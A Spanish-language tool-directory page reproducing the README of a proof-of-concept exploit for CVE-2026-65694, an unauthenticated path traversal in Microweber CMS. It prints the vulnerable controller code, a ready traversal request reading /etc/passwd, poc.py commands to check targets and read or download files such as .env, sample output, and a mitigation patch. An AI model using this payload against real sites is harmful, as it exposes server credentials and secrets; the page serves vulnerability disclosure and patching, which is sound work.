Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-65694-PoC — PoC para CVE-2026-65694 — Microweber CMS (<=2.0.20) path traversal sin autenticación → lectura arbitraria de archivos (.env / secrets) | Kitploit
Herramientas/GitHubGitHub/abdugafforov-bobur/cve-2026-65694-poc
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónAprendizaje y Educación
GitHubabdugafforov-bobur/cve-2026-65694-poc

CVE-2026-65694-PoC

PoC para CVE-2026-65694 — Microweber CMS (<=2.0.20) path traversal sin autenticación → lectura arbitraria de archivos (.env / secrets)

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 26 díasAún no revisado

CVE-2026-65694 — Microweber CMS: Lectura de archivos arbitrarios sin autenticación

Prueba de concepto de CVE-2026-65694, un path traversal sin autenticación → lectura arbitraria de archivos en Microweber CMS.

Un atacante no autenticado puede leer cualquier archivo al que el usuario del servidor web tenga acceso — el .env de Laravel (APP_KEY, credenciales de BD, secretos de correo/nube), /etc/passwd, registros, claves, configuración que no sea .php, etc. — a través de la ruta pública GET /userfiles/{path}.

  • CVE: CVE-2026-65694
  • Tipo: Path Traversal → Lectura arbitraria de archivos sin autenticación (CWE-22 / CWE-23)
  • Severidad: Alta — CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
  • Versiones afectadas: Microweber ≤ 2.0.20 y master actual (la línea vulnerable sigue presente)
  • Autenticación: Ninguna

Causa raíz

src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $path = $request->path;                                   // <-- property read, NOT $request->path()
    $path = normalize_path(userfiles_path() . $path, false);  // <-- normalize_path() does NOT strip ".."
    return $this->sendResponse($path, $request);
}

La ruta se registra sin autenticación:

root@kitploit:~
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');

Dos problemas se combinan:

  1. Anulación de la entrada. $request->path (acceso a propiedad, no el método $request->path()) se resuelve a través de Request::__get de Laravel → Arr::get($this->all(), 'path', fn() => $this->route('path')). Por lo tanto, un parámetro de consulta ?path= anula el segmento de ruta {path} — y los valores de consulta no están sujetos a la normalización de .. en la ruta URL que aplica un navegador/servidor.
  2. Sin canonicalización. normalize_path() solo colapsa las barras; nunca elimina ni resuelve .., y no hay ninguna comprobación de que la ruta resuelta permanezca dentro de userfiles_path(). La capa de archivos de PHP resuelve entonces las secuencias .. en el sistema de archivos.

El controlador bloquea solo las extensiones .php, .phtml y .php7 (skip_ext), por lo que el código fuente PHP no se puede leer directamente — pero todo lo demás sí (.env, /etc/passwd, registros, claves, bases de datos SQLite, configuración JSON/YAML, …).

Requisitos

root@kitploit:~
pip install -r requirements.txt

Alcanzable en cualquier despliegue que utilice la raíz de documentos public/ recomendada (el public/.htaccess incluido con Microweber, o un controlador frontal de nginx try_files $uri /index.php), donde userfiles/ esté fuera de la raíz web y /userfiles/* se envíe al enrutador de Laravel.

Uso

Tres acciones:

root@kitploit:~
python3 poc.py -u http://TARGET --check                 # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd          # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env                 # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt   # download a file to disk

La profundidad del traversal se autodetecta (incrementando ../ hasta que se sirva el archivo); se puede anular con --depth N. Enruta a través de Burp con --proxy http://127.0.0.1:8080. Añade -v para ver la solicitud sin procesar.

Ejemplo

root@kitploit:~
$ python3 poc.py -u http://target:8080 --check

  Microweber CMS  -  Unauthenticated Arbitrary File Read
  CVE-2026-65694   ( GET /userfiles/ ?path= traversal )
  by Bobur Abdugafforov

[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)

$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)

La solicitud subyacente es simplemente:

root@kitploit:~
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target

Impacto

Lectura arbitraria de archivos sin autenticación. La fuga del .env de Laravel expone la APP_KEY (falsificación de sesión/cookies), credenciales de base de datos, contraseña de correo y claves de la nube — efectivamente, un compromiso total de los secretos de la instancia.

Mitigación

Lee el parámetro de ruta vinculado en lugar de la propiedad de entrada, canonicaliza con realpath() y verifica que la ruta resuelta permanezca dentro de userfiles_path():

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $requested = (string) $request->route('path');
    $base = realpath(userfiles_path());
    $path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
    abort_if($base === false || $path === false
        || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
    return $this->sendResponse($path, $request);
}

Créditos

Descubierto y reportado por Bobur Abdugafforov. CVE-2026-65694 asignado a través de VulnCheck.

Descargo de responsabilidad

Solo para pruebas de seguridad autorizadas y fines educativos. No lo use contra sistemas que no posea o para los que no tenga permiso explícito para probar.

Descargar herramienta
FlagAcción
--checkInforma si el objetivo es vulnerable (sí/no), sin volcar datos
-r, --read FILELee un archivo y lo imprime en stdout
-d, --download FILELee un archivo y lo guarda localmente (-o/--output establece el nombre)